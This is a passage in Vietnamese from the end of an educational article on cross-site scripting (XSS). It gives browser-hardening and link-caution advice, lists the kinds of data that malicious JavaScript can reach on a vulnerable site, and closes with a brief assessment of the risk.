     Cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định

Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox)

     YesScript - kiểm soát script từ web

Dùng IE thì ta có thể vào Options/Setting /..chúng ta Disable Script.

Tương tự với Google Chrome và các trình duyệt khác.

Khi chúng ta vào một trang web mới thì ta cần phải cân nhắc khi click vào các link, và với email chúng ta cần phải kiểm tra các link  hay những hình ảnh quảng cáo thật kĩ. Và tóm lại chúng ta sẽ an toàn hơn khi có sự cảnh giác cao hơn.

VIII. Phạm vi và tính khả thi của phương pháp tấn công bằng XSS

Mã JavaScript độc có thể truy cập bất cứ thông tin nào sau đây:

• Cookie cố định (của site bị lỗi XSS) được duy trì bởi trình duyệt.

• RAM Cookie (của site bị lỗi XSS)

• Tên của tất cả các cửa sổ được mở từ site bị lỗi XSS

• Bất cứ thông tin mà có thể truy cập được từ DOM hiện tại (như value, mã HTML…)

IX. Đánh giá

Các hiểm họa trong môi trường Internet

Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, và mức độ thiệt hại của chúng có thể gây những hậu quá rất nghiêm trọng. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào một trang Web mới hay khi nhận được một email rất thu hút nào đó. Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kĩ thuật này.

Các bạn có thể download tài liệu có đủ hình ảnh trong bài viets tại:

http://www.mediafire.com/?xxoz4tml6rd6bjp

. 27

Bạn đang đọc truyện trên: Truyen2U.Pro

#jsngoc